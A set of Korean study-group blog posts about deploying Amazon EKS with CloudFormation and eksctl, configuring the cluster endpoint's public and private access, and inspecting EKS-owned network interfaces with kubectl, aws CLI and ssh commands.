Prefix Delegation : https://www.eksworkshop.com/docs/networking/vpc-cni/prefix/
Custom Networking : https://www.eksworkshop.com/docs/networking/vpc-cni/custom-networking/

[AEWS] Amazon EKS 원클릭 배포

imxsuu — Mon, 11 Mar 2024 21:38:51 +0900

Amazon EKS 원클릭 배포

스터디에서 제공하는 CloudFormation을 통해 아래와 같은 구조를 가진 Amazon EKS를 한 번에 배포할 수 있습니다.

CloudFormation 스택 실행 시 파라미터를 기입하면, 해당 정보가 반영되어 배포됩니다.
실습 환경을 위한 VPC 1개가 생성되고, 퍼블릭 서브넷 3개와 프라이빗 서브넷 3개가 생성됩니다.
CloudFormation에 EC2의 UserData 부분(Script)으로 Amazon EKS 설치(with OIDC, Endpoint Public)를 진행합니다.
관리형 노드 그룹(워커 노드)는 AZ1~AZ3를 사용하여, 기본 3대로 구성됩니다.
필요한 Add-on을 최신 버전으로 설치합니다. (kube-proxy, coredns, aws vpc cni)

Amazon EKS add-ons - Amazon EKS

Amazon EKS add-ons An add-on is software that provides supporting operational capabilities to Kubernetes applications, but is not specific to the application. This includes software like observability agents or Kubernetes drivers that allow the cluster to

docs.aws.amazon.com

CloudFormation을 통해 설치된 쿠버네티스의 버전은 v1.28입니다. 쿠버네티스의 최신 버전을 사용하지 않 은 이유는 쿠버네티스 생태계의 여러 많은 도구들도 쿠버네티스의 Main 버전을 따라가는 작업을 하지만 다소 느린 경우가 많기 때문에 최신 버전을 사용하게 되면 사용하는 도구들의 검증 과정이 추가적으로 필요합니다. 따라서 최신 버전보다 1~2단계 정도 아래 버전을 사용하는 것을 권장합니다.

Add-on의 경우에는 설치된 쿠버네티스와의 호환성을 높이기 위해 제공되는 버전 중 가장 최신 버전으로 설치하는 것이 좋습니다. Add-on 설치 시 최신 버전으로 설치하는 옵션을 정해주지 않는 경우, 기본값으로 설정된 버전이 설치되기 때문에 Amazon EKS를 배포할 때 설치할 Add-on을 최신 버전으로 설치해주는 옵션을 지정하는 것을 권장합니다.

배포 후에는 배스천 호스트(작업용 EC2)로 접속하여 Amazon EKS Cluster를 사용할 수 있습니다.

# SSH 접속
ssh -i ~/.ssh/kp-gasida.pem ec2-user@$(aws cloudformation describe-stacks --stack-name myeks --query 'Stacks[*].Outputs[0].OutputValue' --output text)

Amazon EKS Cluster가 배포되는 과정을 로그로 확인할 수 있습니다. 이 과정은 약 20분 정도 소요됩니다.

# cloud-init 실행 과정 로그 확인
tail -f /var/log/cloud-init-output.log

# cloud-init 정상 완료 후 eksctl 실행 과정 로그 확인
tail -f /root/create-eks.log

배포가 완료되면 이후에 기본으로 바라보는 네임스페이스를 변경합니다.

# default 네임스페이스 적용
kubectl ns default

# 설치 확인
kubectl cluster-info
eksctl get cluster
eksctl get nodegroup --cluster $CLUSTER_NAME

이후의 작업을 위해 노드 정보와 SSH 접속 정보를 등록하면 실습할 환경의 준비가 완료됩니다.

# 노드 IP 확인 및 PrivateIP 변수 지정
aws ec2 describe-instances --query "Reservations[*].Instances[*].{PublicIPAdd:PublicIpAddress,PrivateIPAdd:PrivateIpAddress,InstanceName:Tags[?Key=='Name']|[0].Value,Status:State.Name}" --filters Name=instance-state-name,Values=running --output table
N1=$(kubectl get node --label-columns=topology.kubernetes.io/zone --selector=topology.kubernetes.io/zone=ap-northeast-2a -o jsonpath={.items[0].status.addresses[0].address})
N2=$(kubectl get node --label-columns=topology.kubernetes.io/zone --selector=topology.kubernetes.io/zone=ap-northeast-2b -o jsonpath={.items[0].status.addresses[0].address})
N3=$(kubectl get node --label-columns=topology.kubernetes.io/zone --selector=topology.kubernetes.io/zone=ap-northeast-2c -o jsonpath={.items[0].status.addresses[0].address})
echo "export N1=$N1" >> /etc/profile
echo "export N2=$N2" >> /etc/profile
echo "export N3=$N3" >> /etc/profile
echo $N1, $N2, $N3

# 노드 보안그룹에 eksctl-host 에서 노드(파드)에 접속 가능하게 룰(Rule) 추가 설정
NGSGID=$(aws ec2 describe-security-groups --filters Name=group-name,Values=*ng1* --query "SecurityGroups[*].[GroupId]" --output text)
echo "export NGSGID=$NGSGID" >> /etc/profile
aws ec2 authorize-security-group-ingress --group-id $NGSGID --protocol '-1' --cidr 192.168.1.100/32

# 워커 노드 SSH 접속 : '-i ~/.ssh/id_rsa' 생략 가능
for i in $N1 $N2 $N3; do echo ">> node $i <<"; ssh ec2-user@$i hostname; echo; done
for i in $N1 $N2 $N3; do echo ">> node $i <<"; ssh ec2-user@$i hostname; echo; done

[AEWS] Amazon EKS Cluster Endpoint

imxsuu — Sat, 9 Mar 2024 18:34:21 +0900

krew 플러그인

krew 플러그인을 설치하면 kubectl을 좀 더 편리하게 사용할 수 있습니다.

# krew 플러그인 확인
kubectl krew list
kubectl ctx
kubectl ns
kubectl ns default
kubectl get-all    # 모든 네임스페이스에서 모든 리소스 확인

k ns <namespace> 명령을 통해 현재 바라보고 있는 네임스페이스를 변경할 수 있습니다.

k get node 명령보다 여러 옵션을 통해 더 많은 정보를 확인할 수 있습니다.

# 노드 정보 확인 : OS와 컨테이너런타임 확인
kubectl get node --label-columns=node.kubernetes.io/instance-type,eks.amazonaws.com/capacityType,topology.kubernetes.io/zone
kubectl get node --label-columns=node.kubernetes.io/instance-type
kubectl get node
kubectl get node -owide
kubectl get node -v=6

EKS Cluster Endpoint - Public

Amazon EKS에서 관리해주는 쿠버네티스 컨트롤 플레인의 영역은 온프레미스의 쿠버네티스를 배포했을 때와 다르게 파드로 노출되지 않습니다. 사용자가 신경 쓸 필요없이 AWS에서 직접 관리해주기 때문입니다.

# 파드 정보 확인 : 온프레미스 쿠버네티스의 파드 배치와 다른점은?
kubectl get pod -n kube-system

온프레미스에서는 노드의 IP 영역대와 파드의 IP 영역대가 다르지만 Amzon EKS에서는 Amzon VPC CNI로 인해 노드와 파드가 같은 IP 영역을 사용합니다.

# 파드 정보 확인 : 파드의 IP의 특징이 어떤가요?
kubectl get pod -n kube-system -o wide

노드 IP를 확인하고 변수로 지정합니다.

# 노드 IP 확인 및 PrivateIP 변수 지정
aws ec2 describe-instances --query "Reservations[*].Instances[*].{PublicIPAdd:PublicIpAddress,PrivateIPAdd:PrivateIpAddress,InstanceName:Tags[?Key=='Name']|[0].Value,Status:State.Name}" --filters Name=instance-state-name,Values=running --output table
kubectl get node --label-columns=topology.kubernetes.io/zone
kubectl get node --label-columns=topology.kubernetes.io/zone --selector=topology.kubernetes.io/zone=ap-northeast-2a
kubectl get node --label-columns=topology.kubernetes.io/zone --selector=topology.kubernetes.io/zone=ap-northeast-2c
N1=$(kubectl get node --label-columns=topology.kubernetes.io/zone --selector=topology.kubernetes.io/zone=ap-northeast-2a -o jsonpath={.items[0].status.addresses[0].address})
N2=$(kubectl get node --label-columns=topology.kubernetes.io/zone --selector=topology.kubernetes.io/zone=ap-northeast-2c -o jsonpath={.items[0].status.addresses[0].address})
echo $N1, $N2
echo "export N1=$N1" >> /etc/profile
echo "export N2=$N2" >> /etc/profile

해당 IP로 ping 테스트를 해보면 보안그룹 설정때문에 ping이 전달되지 않는 모습을 확인할 수 있습니다.

# eksctl-host 에서 노드의IP나 coredns 파드IP로 ping 테스트
ping <IP>
ping -c 1 $N1
ping -c 1 $N2

보안그룹 ID에 관리형 노드 보안그룹(192.168.1.100/32)과는 모든 프로토콜을 통해 접속이 가능하도록 룰을 설정하면 ping이 제대로 전달되는 모습을 확인할 수 있습니다.

# 노드 보안그룹 ID 확인
aws ec2 describe-security-groups --filters Name=group-name,Values=*nodegroup* --query "SecurityGroups[*].[GroupId]" --output text
NGSGID=$(aws ec2 describe-security-groups --filters Name=group-name,Values=*nodegroup* --query "SecurityGroups[*].[GroupId]" --output text)
echo $NGSGID
echo "export NGSGID=$NGSGID" >> /etc/profile

# 노드 보안그룹에 eksctl-host 에서 노드(파드)에 접속 가능하게 룰(Rule) 추가 설정
aws ec2 authorize-security-group-ingress --group-id $NGSGID --protocol '-1' --cidr 192.168.1.100/32

# eksctl-host 에서 노드의IP나 coredns 파드IP로 ping 테스트
ping -c 2 $N1
ping -c 2 $N2

EKS owned ENI 확인

현재 설정되어 있는 kubelet과 kube-proxy는 퍼블릭 엑세스 포인트로 설정되어 있어 인터넷 게이트웨이로 나가 퍼블릭 IP로 다시 접근하여 통신하고 있습니다.

# kubelet, kube-proxy 통신 Peer Address는 어딘인가요?
for i in $N1 $N2; do echo ">> node $i <<"; ssh ec2-user@$i sudo ss -tnp; echo; done

# 참고
APIDNS=$(aws eks describe-cluster --name $CLUSTER_NAME | jq -r .cluster.endpoint | cut -d '/' -f 3)
dig +short $APIDNS

새로운 터미널을 실행해 파드 1개를 실행하면 Local Address와 Peer Address가 다른 것을 확인할 수 있습니다. AWS 콘솔의 네트워크 인터페이스 ENI에서 Peer Address를 검색해보면 해당 IP의 소유자와 요청자가 다릅니다. 여기서 요청자가 EKS owned ENI인 것입니다. 결론적으로 관리형 노드 그룹의 워커 노드는 내 소유지만, 연결된 ENI(NIC)의 인스턴스(관리형 노드)는 AWS 소유입니다.

# [터미널] aws-node 데몬셋 파드 1곳에 bash 실행해두기 
kubectl exec daemonsets/aws-node -it -n kube-system -c aws-eks-nodeagent -- bash

# exec 실행으로 추가된 연결 정보의 Peer Address는 어딘인가요? >> AWS 네트워크 인터페이스 ENI에서 해당 IP 정보 확인
for i in $N1 $N2; do echo ">> node $i <<"; ssh ec2-user@$i sudo ss -tnp; echo; done

EKS Cluster Endpoint 를 Public(IP제한)+Private 로 변경 및 확인

워커노드에서 kubelet과 kube-proxy가 퍼블릭 엑세스 포인트를 사용했었던 부분이 프라이빗 엑세스 포인트(EKS owned ENI)를 사용하는 것으로 변경되게 됩니다.

모니터링 터미널 화면에서 출력되는 IP가 Private으로 변경된 것을 확인할 수 있으며 AWS 콘솔에서도 변경된 화면을 확인할 수 있습니다.

# [모니터링1] 설정 후 변경 확인
APIDNS=$(aws eks describe-cluster --name $CLUSTER_NAME | jq -r .cluster.endpoint | cut -d '/' -f 3)
dig +short $APIDNS
while true; do dig +short $APIDNS ; echo "------------------------------" ; date; sleep 1; done

# [모니터링2] 노드에서 ControlPlane과 통신 연결 확인
N1=$(kubectl get node --label-columns=topology.kubernetes.io/zone --selector=topology.kubernetes.io/zone=ap-northeast-2a -o jsonpath={.items[0].status.addresses[0].address})
N2=$(kubectl get node --label-columns=topology.kubernetes.io/zone --selector=topology.kubernetes.io/zone=ap-northeast-2c -o jsonpath={.items[0].status.addresses[0].address})
while true; do ssh ec2-user@$N1 sudo ss -tnp | egrep 'kubelet|kube-proxy' ; echo ; ssh ec2-user@$N2 sudo ss -tnp | egrep 'kubelet|kube-proxy' ; echo "------------------------------" ; date; sleep 1; done

# Public(IP제한)+Private 로 변경 : 설정 후 8분 정도 후 반영
aws eks update-cluster-config --region $AWS_DEFAULT_REGION --name $CLUSTER_NAME --resources-vpc-config endpointPublicAccess=true,publicAccessCidrs="$(curl -s ipinfo.io/ip)/32",endpointPrivateAccess=true

# kubectl 사용 확인
kubectl get node -v=6
kubectl cluster-info
ss -tnp | grep kubectl  # 신규 터미널에서 확인 해보자 >> EKS 동작 VPC 내부에서는 Cluster Endpoint 도메인 질의 시 Private IP 정보를 리턴해준다

# 아래 dig 조회가 잘 안될 경우 myeks 호스트EC2를 재부팅 후 다시 해보자
dig +short $APIDNS

# EKS ControlPlane 보안그룹 ID 확인
aws ec2 describe-security-groups --filters Name=group-name,Values=*ControlPlaneSecurityGroup* --query "SecurityGroups[*].[GroupId]" --output text
CPSGID=$(aws ec2 describe-security-groups --filters Name=group-name,Values=*ControlPlaneSecurityGroup* --query "SecurityGroups[*].[GroupId]" --output text)
echo $CPSGID

# 노드 보안그룹에 eksctl-host 에서 노드(파드)에 접속 가능하게 룰(Rule) 추가 설정
aws ec2 authorize-security-group-ingress --group-id $CPSGID --protocol '-1' --cidr 192.168.1.100/32

# kubectl 사용 확인
kubectl get node -v=6
kubectl cluster-info

노드에서의 확인을 위해 kube-proxy를 rollout하고 kubelet은 재시작을 통해 적용하면 프라이빗 IP로 변경된 것을 확인할 수 있습니다.

# 모니터링 : tcp peer 정보 변화 확인
while true; do ssh ec2-user@$N1 sudo ss -tnp | egrep 'kubelet|kube-proxy' ; echo ; ssh ec2-user@$N2 sudo ss -tnp | egrep 'kubelet|kube-proxy' ; echo "------------------------------" ; date; sleep 1; done

# kube-proxy rollout
kubectl rollout restart ds/kube-proxy -n kube-system

# kubelet 은 노드에서 systemctl restart kubelet으로 적용해보자
for i in $N1 $N2; do echo ">> node $i <<"; ssh ec2-user@$i sudo systemctl restart kubelet; echo; done

[AEWS] Amazon EKS 개념 및 배포

imxsuu — Sat, 9 Mar 2024 18:00:17 +0900

Amazon EKS

Amazon EKS web application workshop

Building simple web application using Amazon EKS. This workshop covers from creating eks cluster to application's life cycle.

catalog.us-east-1.prod.workshops.aws

Amazon EKS는 쿠버네티스의 컨트롤 플레인 영역을 담당하는 아마존의 클라우드 컴퓨팅 서비스입니다. 오픈 소스 쿠버네티스 소프트웨어의 최신 버전을 실행하여 온프레미스에서 사용하는 쿠버네티스의 플러그인과 툴들을 모두 사용할 수 있으며 쿠버네티스 애플리케이션을 Amazon EKS로 쉽게 마이그레이션할 수 있습니다.

보통 5~6개의 마이너 버전을 지원(현재 1.25~1.29)하며 평균 3개월마다 새 버전을 제공합니다. 처음 14개월은 무료로 지원해주지만 추가 최대 12개월 연장을 지원하지만 비용이 발생합니다. 따라서 운영 측면에서는 보통 1년에 한번씩 버전 업그레이드를 해야한다는 번거로움이 존재합니다.

버전을 표기하는 방법은 다음과 같습니다.

v1.25.Y → Major.Minor.Patch ⇒ Major(Breaking Changes) . Minor(New Features) . Patch(Bug fixes Security)

Amazon EKS Control Plane 요소

EKS API서버를 호출하면 NLB의 IP주소로 접근되어 적절한 가용 영역으로 로드밸런싱해줍니다.

AWS VPC와 내 VPC 영역 간의 통신을 위해 EKS owned ENI가 필요하며 이는 AWS가 소유합니다. 또한 관리형 노드 그룹은 다양한 OS 제공이 가능하며 최신 EKS Optimized AMI를 사용합니다.

기본 인프라 배포

IAM User 자격 증명 설정 및 VPC 확인 및 변수 지정

aws configure 명령과 Access Key를 통해 자격 증명을 설정하고 확인합니다.

# 자격 구성 설정 없이 확인
aws ec2 describe-instances

# IAM User 자격 구성 : 실습 편리를 위해 administrator 권한을 가진 IAM User 의 자격 증명 입력
aws configure
AWS Access Key ID [None]: AKIA5...
AWS Secret Access Key [None]: CVNa2...
Default region name [None]: ap-northeast-2
Default output format [None]: json

# 자격 구성 적용 확인 : 노드 IP 확인
aws ec2 describe-instances

EKS를 배포할 VPC 정보를 확인하고 활용하기 위해 변수로 지정합니다.

# EKS 배포할 VPC 정보 확인
aws ec2 describe-vpcs --filters "Name=tag:Name,Values=$CLUSTER_NAME-VPC" | jq
aws ec2 describe-vpcs --filters "Name=tag:Name,Values=$CLUSTER_NAME-VPC" | jq Vpcs[]
aws ec2 describe-vpcs --filters "Name=tag:Name,Values=$CLUSTER_NAME-VPC" | jq Vpcs[].VpcId
aws ec2 describe-vpcs --filters "Name=tag:Name,Values=$CLUSTER_NAME-VPC" | jq -r .Vpcs[].VpcId
export VPCID=$(aws ec2 describe-vpcs --filters "Name=tag:Name,Values=$CLUSTER_NAME-VPC" | jq -r .Vpcs[].VpcId)
echo "export VPCID=$VPCID" >> /etc/profile
echo $VPCID

# EKS 배포할 VPC에 속한 Subnet 정보 확인
aws ec2 describe-subnets --filters "Name=vpc-id,Values=$VPCID" --output json | jq
aws ec2 describe-subnets --filters "Name=vpc-id,Values=$VPCID" --output yaml

## 퍼블릭 서브넷 ID 확인
aws ec2 describe-subnets --filters Name=tag:Name,Values="$CLUSTER_NAME-PublicSubnet1" | jq
aws ec2 describe-subnets --filters Name=tag:Name,Values="$CLUSTER_NAME-PublicSubnet1" --query "Subnets[0].[SubnetId]" --output text
export PubSubnet1=$(aws ec2 describe-subnets --filters Name=tag:Name,Values="$CLUSTER_NAME-PublicSubnet1" --query "Subnets[0].[SubnetId]" --output text)
export PubSubnet2=$(aws ec2 describe-subnets --filters Name=tag:Name,Values="$CLUSTER_NAME-PublicSubnet2" --query "Subnets[0].[SubnetId]" --output text)
echo "export PubSubnet1=$PubSubnet1" >> /etc/profile
echo "export PubSubnet2=$PubSubnet2" >> /etc/profile
echo $PubSubnet1
echo $PubSubnet2

Amazon EKS 배포

지정된 변수를 확인합니다. 변수값들이 제대로 출력되지 않으면 EKS 배포에 실패합니다.

# 변수 확인
echo $AWS_DEFAULT_REGION
echo $CLUSTER_NAME
echo $VPCID
echo $PubSubnet1,$PubSubnet2

터미널을 하나 새로 생성하여 EC2가 생성되는 과정을 모니터링할 수 있습니다.

# 옵션 [터미널1] EC2 생성 모니터링
while true; do aws ec2 describe-instances --query "Reservations[*].Instances[*].{PublicIPAdd:PublicIpAddress,PrivateIPAdd:PrivateIpAddress,InstanceName:Tags[?Key=='Name']|[0].Value,Status:State.Name}" --filters Name=instance-state-name,Values=running --output text ; echo "------------------------------" ; sleep 1; done
aws ec2 describe-instances --query "Reservations[*].Instances[*].{PublicIPAdd:PublicIpAddress,PrivateIPAdd:PrivateIpAddress,InstanceName:Tags[?Key=='Name']|[0].Value,Status:State.Name}" --filters Name=instance-state-name,Values=running --output table

EKS를 배포하기 전에 --dry-run 옵션을 통해 상세 정보를 확인합니다.

# eks 클러스터 & 관리형노드그룹 배포 전 정보 확인
eksctl create cluster --name $CLUSTER_NAME --region=$AWS_DEFAULT_REGION --nodegroup-name=$CLUSTER_NAME-nodegroup --node-type=t3.medium \
--node-volume-size=30 --vpc-public-subnets "$PubSubnet1,$PubSubnet2" --version 1.28 --ssh-access --external-dns-access --dry-run | yh

EKS클러스터를 배포합니다. 실제로 Amazon EKS는 다양한 AWS 서비스들로 구성되어 있습니다. EKS를 배포할 때 15분 정도 소요되는데 이러한 서비스들을 모두 배포하고 구성하는 데에 시간이 필요하기 때문입니다.

# eks 클러스터 & 관리형노드그룹 배포: 총 15분 소요
eksctl create cluster --name $CLUSTER_NAME --region=$AWS_DEFAULT_REGION --nodegroup-name=$CLUSTER_NAME-nodegroup --node-type=t3.medium \
--node-volume-size=30 --vpc-public-subnets "$PubSubnet1,$PubSubnet2" --version 1.28 --ssh-access --external-dns-access --verbose 4

배포가 모두 정상 진행되었으면 띄워놓은 모니터링용 터미널에서 EKS 노드 그룹의 정보를 확인할 수 있습니다.

AWS 콘솔의 EKS 서비스에서 정상적으로 조회할 수 있으며 EC2 서비스에서 AutoScalingGroup으로 묶여있음을 확인할 수 있습니다.

EKS 클러스터 정보 확인 명령어를 통해 출력된 URL과 AWS 콘솔에서의 API 서버 엔드포인트가 같은 URL인 것도 확인할 수 있습니다.

# eks 클러스터 정보 확인
kubectl cluster-info

eksctl get cluster
aws eks describe-cluster --name $CLUSTER_NAME | jq
aws eks describe-cluster --name $CLUSTER_NAME | jq -r .cluster.endpoint

dig 조회를 통해 출력된 IP는 kubelet을 통해 실행된 명령은 퍼블릭 IP로 전달되어 NLB의 공인 IP를 질의한 결과입니다.

## dig 조회 : 해당 IP 소유 리소스는 어떤 것 일까요?
APIDNS=$(aws eks describe-cluster --name $CLUSTER_NAME | jq -r .cluster.endpoint | cut -d '/' -f 3)
dig +short $APIDNS